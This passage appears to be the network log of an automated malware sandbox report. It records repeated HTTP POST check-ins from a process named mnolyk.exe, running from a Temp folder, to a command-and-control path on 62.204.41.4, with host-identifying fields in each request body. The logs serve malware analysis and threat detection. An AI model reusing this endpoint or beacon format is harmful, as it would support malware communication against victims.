Feb 7, 2023 23:09:38.525685072 CET	694	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	49753	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:15.610893011 CET	173	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:15.676393032 CET	173	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
580	192.168.2.7	50275	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:38.709285021 CET	695	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:38.773197889 CET	695	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
581	192.168.2.7	50276	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:38.947586060 CET	696	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:39.010864973 CET	696	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
582	192.168.2.7	50277	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:39.183923960 CET	697	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:39.246810913 CET	697	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
583	192.168.2.7	50278	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:39.423463106 CET	698	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:39.487081051 CET	698	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
584	192.168.2.7	50279	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:39.671695948 CET	699	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:39.735544920 CET	699	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
585	192.168.2.7	50280	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:39.926137924 CET	700	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:39.991081953 CET	700	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
586	192.168.2.7	50281	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:40.172673941 CET	701	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:40.234992981 CET	701	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
587	192.168.2.7	50282	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:40.408973932 CET	702	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:40.473009109 CET	702	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
588	192.168.2.7	50283	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:40.653335094 CET	703	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:40.716855049 CET	703	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
589	192.168.2.7	50284	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:40.912416935 CET	704	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:40.976260900 CET	704	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	49754	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:15.855344057 CET	174	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:15.920128107 CET	174	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
590	192.168.2.7	50285	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:41.160718918 CET	705	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:41.225387096 CET	705	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
591	192.168.2.7	50286	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:41.402786016 CET	706	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:41.466211081 CET	706	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
592	192.168.2.7	50287	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:41.643241882 CET	707	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:41.706674099 CET	707	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
593	192.168.2.7	50288	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:41.886672974 CET	708	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:41.951152086 CET	708	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
594	192.168.2.7	50289	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:42.121098995 CET	709	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:42.188054085 CET	709	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
595	192.168.2.7	50290	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:42.372267008 CET	710	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:42.435712099 CET	710	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
596	192.168.2.7	50291	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:42.607616901 CET	711	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:42.672527075 CET	711	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
597	192.168.2.7	50292	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:42.847677946 CET	712	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:42.913094997 CET	712	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
598	192.168.2.7	50293	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:43.101385117 CET	713	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:43.169070959 CET	713	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
599	192.168.2.7	50294	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
